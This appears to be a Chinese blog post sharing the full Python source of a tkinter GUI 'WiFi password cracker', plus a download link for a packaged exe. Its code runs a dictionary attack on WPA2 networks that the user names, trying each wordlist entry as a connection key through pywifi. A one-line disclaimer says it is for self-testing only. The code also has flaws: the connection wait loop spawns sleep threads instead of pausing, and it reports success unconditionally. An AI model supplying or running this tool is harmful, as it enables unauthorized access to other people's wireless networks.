前言

注意：此工具为自己测试，不可用作恶意使用。

考虑在windows中的wifi破解工具五花八门很多的广告程序，就自己写一个，原理比较简单，不喜勿喷，可以做后续的优化。

因为考虑多数人没有python环境这里已将python文件打包为exe：
链接：https://pan.baidu.com/s/1x5VpW0HrNvytZN4PBj6ItQ 
提取码：juli

一、介绍

此程序使用python的tkinter模块开发，简单测试过没有问题，后期有问题可以私信我。
在这里插入图片描述

二、使用步骤

1.完整代码

程序代码如下：

import pywifi
from pywifi import const
import time
import threading
import concurrent.futures
import tkinter as tk
import tkinter.ttk as ttk
from tkinter import filedialog
from tkinter import messagebox


def getwifi():
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.scan()
    time.sleep(8)
    bessis = ifaces.scan_results()
    allwifilist = []
    namelist = []
    for data in bessis:
        if data.ssid not in namelist:
            namelist.append(data.ssid)
            allwifilist.append((data.ssid, data.signal))
    allwifilist = sorted(allwifilist, key=lambda st: st[1], reverse=True)
    time.sleep(1)
    n = 0
    wifilist = []
    for item in allwifilist:
        if item[0] not in wifilist:
            n += 1
            if n <= 5:
                wifilist.append(item[0])
    return wifilist

class WiFiPasswordCracker:

    def __init__(self, master):
        self.master = master
        master.title("WiFi密码破解器")

        self.label = ttk.Label(master, text="输入WiFi名称(以逗号分隔):")
        self.label.pack()

        self.wifi_names_entry = ttk.Entry(master)
        self.wifi_names_entry.pack()

        self.select_file_button = ttk.Button(master, text="选择单词表", command=self.select_file)
        self.select_file_button.pack()

        self.crack_button = ttk.Button(master, text="破解密码", command=self.crack_passwords)
        self.crack_button.pack()

        self.results_text = tk.Text(master, height=10, width=50)
        self.results_text.pack()
    def select_file(self):
        file_path = filedialog.askopenfilename()
        if file_path:
            self.wordlist_path = file_path
            messagebox.showinfo("字典已选择", "破解字典设置成功！")

    def crack_passwords(self):
        wifi_names = self.wifi_names_entry.get().split(",")
        wifi_names = [name.strip() for name in wifi_names]

        if not wifi_names:
            messagebox.showwarning("无wifi名称", "请设置要破解的wifi名称")
            return

        if not hasattr(self, "wordlist_path"):
            messagebox.showwarning("为选择字典", "请选择破解字典！")
            return

        try:
            with open(self.wordlist_path, "r") as f:
                passwords = f.readlines()
        except:
            messagebox.showerror("Error", "An error occurred while reading the wordlist file.")
            return

        self.results_text.delete("1.0", tk.END)

        ifaces = self.getifaces()

        for wifi_name in wifi_names:
            self.results_text.insert(tk.END, f"Cracking password for {wifi_name}...\n")
            for password in passwords:
                password = password.strip()
                if self.testwifi(ifaces, wifi_name, password):
                    self.results_text.insert(tk.END, f"Password for {wifi_name} is {password}\n")
                    break
            else:
                self.results_text.insert(tk.END, f"Password for {wifi_name} not found in wordlist.\n")

        messagebox.showinfo("Passwords Cracked", "WiFi密码破解成功！！！")

    def getifaces(self):
        wifi = pywifi.PyWiFi()
        ifaces = wifi.interfaces()[0]
        ifaces.disconnect()
        return ifaces

    def testwifi(self, ifaces, ssidname, password):
        profile = pywifi.Profile()
        profile.ssid = ssidname
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = password
        ifaces.remove_all_network_profiles()
        tmp_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tmp_profile)
        # Wait for connection to be established
        for i in range(30):
            if ifaces.status() == const.IFACE_CONNECTED:
                return True
            else:
                threading.Thread(target=time.sleep, args=(1,)).start()
        return False


root = tk.Tk()
app = WiFiPasswordCracker(root)
root.mainloop()